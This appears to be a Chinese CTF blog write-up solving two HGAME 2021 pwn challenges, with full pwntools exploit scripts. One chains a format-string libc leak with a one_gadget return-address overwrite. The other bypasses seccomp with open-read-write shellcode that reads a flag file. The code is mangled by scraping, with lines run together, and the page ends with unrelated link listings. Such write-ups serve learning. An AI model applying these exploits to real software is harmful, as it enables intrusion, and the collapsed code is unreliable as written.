目录

  • once
  • letter

once

写这个题的时候发现了一个工具,可以修改题目加载的libc.so和ld.so文件
patchelf
注释掉的是本地环境下的情况

#!/usr/bin/env python2#env1=ubuntu 16.04  native
#env2=ld-2.27.so  libc.2.27
from pwn import *arch = "amd64"
filename = "once"context(os="linux", arch=arch, log_level="debug")
content = 0offset = 0
# elf
elf = ELF(filename)# libc
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc=ELF("./libc-2.27.so")
main_libc=libc.symbols['__libc_start_main']
#ogg_libc=[0x45226,0x4527a,0xf0364,0xf1207]
ogg_libc=[0x4f3d5,0x4f432,0x10a41c]def b(addr):bk = "b *$rebase" + str(addr)gdb.attach(io, bk)success("attach")def main():global ioif content == 0:io = process("./once")else:io = remote("")#leakio.recvuntil("It is your turn: ")payload = b'%13$p\n'  #6+7payload =payload.ljust(0x28,b'k')payload += b'\xd3'print(payload)#gdb.attach(io, 'b printf')io.send(payload)#count#main_addr=int(io.recv(14),16)-240main_addr=int(io.recv(14),16)-231print(hex(main_addr))libcbase=main_addr-main_libcogg_addr=libcbase+ogg_libc[0]#flowpayload=b'\x00'*(0x28)+p64(ogg_addr)io.recvuntil("It is your turn: ")io.send(payload)io.interactive()
main()

letter

seccomp禁用了一些系统调用(沙箱保护)所以即使整形溢出也无法通过system,onegadget来getshell

学到了一个工具seccomp-tools

所以这里需要用orw(open-read-write),题解是直接编写的shellcode。。。萌新太难了
我编不来,又看了其他师傅的wp,发现shellcraft可以更快的编出shellcode。
接下来三种思路
1.由于输入的lenth位置已知,把lenth最低的一个字节写为“jmp rsp”,就可以通过栈迁移,getshell了。
2.看了一些师傅是重新跳转到溢出的read函数将shellcode读到位置a,再跳转回a,具体的细节很神奇,我看不懂,枯了。还用ret2csu修改了rbp,伪造了栈帧?
3.其他的还可以利用gadget(pop rdi之类的),构造rop链,和2思路差不多,都是read shellcode到bss段,再跳转过去执行

#!/usr/bin/env python2
from pwn import *arch = "amd64"
filename = "letter"context(os="linux", arch=arch, log_level="debug")
content = 0offset = 0
# elf
elf = ELF(filename)
jmp_addr=0x000000000060108C
# libcdef b(addr):bk = "b *$rebase" + str(addr)gdb.attach(io, bk)success("attach")def main():global ioif content == 0:io = process("./" + filename)else:io = remote("")#int_flow#io.sendlineafter('?\n',"-268376833")  #0xFFFFFFFF F000 E4FF#io.sendlineafter('?\n', "-16718593")  #0xFFFFFFFF FF00 E4FF#io.sendlineafter('?\n',"-989953")     #0xFFFFFFFF FFF0 E4FFio.sendlineafter('?\n',"-6913")        #0xFFFFFFFF FFFF E4FF#getshellshellcode = '''mov rax, 0x101010101010101push raxmov rax, 0x101010101010101 ^ 0x67616c66xor [rsp], raxmov rdi, rspxor rsi, rsixor rdx, rdxmov rax, 2syscallxor rax, raxmov rdi, 3mov rsi, 0x601070mov rdx, 0x100syscallmov rax, 1mov rdi, 1mov rsi, 0x601070mov rdx,0x100syscall'''orw_pay=shellcraft.open("./flag")orw_pay+=shellcraft.read(3,0x601070,0x50)orw_pay+=shellcraft.write(1,0x601070,0x50)payload = b'a' * (0x18) + p64(jmp_addr)payload +=asm(orw_pay)io.sendline(payload)io.recv()io.interactive()
main()

hgame week1 2021 pwn相关推荐

  1. WMCTF 2021 pwn dy_maze writeup

      经过三天的奋战(摸鱼划水√),WMCTF 2021 终于结束,我们的萌新体验队在大家的共同努力下也拿到了前30的成绩,实在出乎我的预料.不过,对于我们的首次比赛而言,成绩是最次要的方面,队友们在比 ...

  2. SCU新生赛2021 pwn wp

    前段时间的极客大挑战2021和2021年的SCU新生赛,最后一道题都没有做出来,作为一枚大二学长确实应该反省一下自己了.太菜了呜呜呜.极客大挑战因为打太久了,题目都快忘记了,就不写wp了. ret2t ...

  3. 强网杯2021 pwn部分wp

    baby_diary: 本题考查2.31的off by one, 漏洞处如下: 在sub_146e中会将输入数据的ASCII码相加再相加相加-直到变成一个byte的数字, 然后加到输入数据的后一位上, ...

  4. HGAME 2023 Week1

    HGAME 2023 Week1 文章目录 HGAME 2023 Week1 前言 Web Classic Childhood Game Become A Member Guess Who I Am ...

  5. 2021奥斯汀 Pwn2Own黑客大赛落幕,Master of Pwn 诞生

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 2021年奥斯汀Pwn2Own 黑客大赛圆满落幕,22支参赛队伍共提交58个利用尝试.大赛的核心关注点是手机,新增类别是路由器和打印机类别,总类 ...

  6. Pwn2Own 2021温哥华黑客大赛落幕 3个团队并列 Master of Pwn

     聚焦源代码安全,网罗国内外最新资讯! 网络安全界的年度盛事 Pwn2Own 2021 温哥华黑客大赛在今天落下帷幕(当地时间4月6日至8日举行).本年度大赛规模庞大,共有23支队伍参赛,目标涵盖10 ...

  7. HGAME 2022 week1 个人部分WP

    寒假期间,小萌新在家瞎搞CTF,也是第一次参加HGAME,整体来说题目是简单的,但对于我这个萌新菜鸟来说,还是一头雾水,只会做一些简单的密码题,week1的web和misc还能做出几题,后面几周就完全 ...

  8. 【pwn】2021 鹤壁杯 wp

    [pwn]2021 鹤壁杯 wp 前言 这场比较简单,但是也看到了自己急于求成的下场,基础知识非常不牢固,很多调试手段都太拉了,逆向能力也是非常差,还是得跟着师傅们继续学啊! 1.ret2libc1 ...

  9. hgame 2022 PWN 部分题目 Writeup

    文章目录 Level - Week1 enter_the_pwn_land enter_the_evil_pwn_land test_your_nc test_your_gdb Level - Wee ...

最新文章

  1. C与C++之间相互调用
  2. JAVA实现单链表数据结构_java实现数据结构单链表示例(java单链表)
  3. Windows下phpStudy中的Apache无法启动的排查方法
  4. ITK:过滤图像FilterImage
  5. arm linux ping 通百度,linux ---之与ARM开发板相互ping 通
  6. 程序员自家种水果,新鲜包邮配送!
  7. 【十二省联考2019】异或粽子【01Trie】【堆】【前k大套路】
  8. c++基础学习(10)--(文件、流、异常处理、动态内存、命名空间)
  9. python窗口怎么显示我输入的_Python分别用两个窗口显示和输入
  10. 博客园期刊制作组工作安排
  11. 使用junit4测试spring项目中service方法
  12. visio2013报错1706最新解决方法
  13. 深度学习还是鼠标搞定,零基础建网站必备技能
  14. HTTP 412状态码
  15. C语言规律,C语言中运算符结合型规律
  16. java.io.IOException: Cleartext HTTP traffic to xxx.xxx.xxx.xxx not permitted 的解决方案
  17. 亮度,对比度,饱和度,锐度对最终图像效果的影响
  18. sdau启航前端第一次作业
  19. oracle迁移达梦7手顺及注意事项
  20. A. One and Two

热门文章

  1. leetcode.447 回旋镖的数量
  2. OneNote键盘流-个人整理的一些快捷键
  3. 业务架构 应用架构 数据架构 实战
  4. WPF 控件专题 ListView 样式(斑马线)
  5. Android Forums安卓论坛发生数据泄露 论坛称只泄露了2.5%的用户信息 并已经修复了利用漏洞...
  6. Fluent动网格【11】:弹簧光顺
  7. 机器学习实验一-多项式拟合
  8. 使用单变量求解求一元方程的解
  9. android开发工程师简历自我评价,软件工程师简历自我评价
  10. 八、CISP 教材缩略语(2019 版)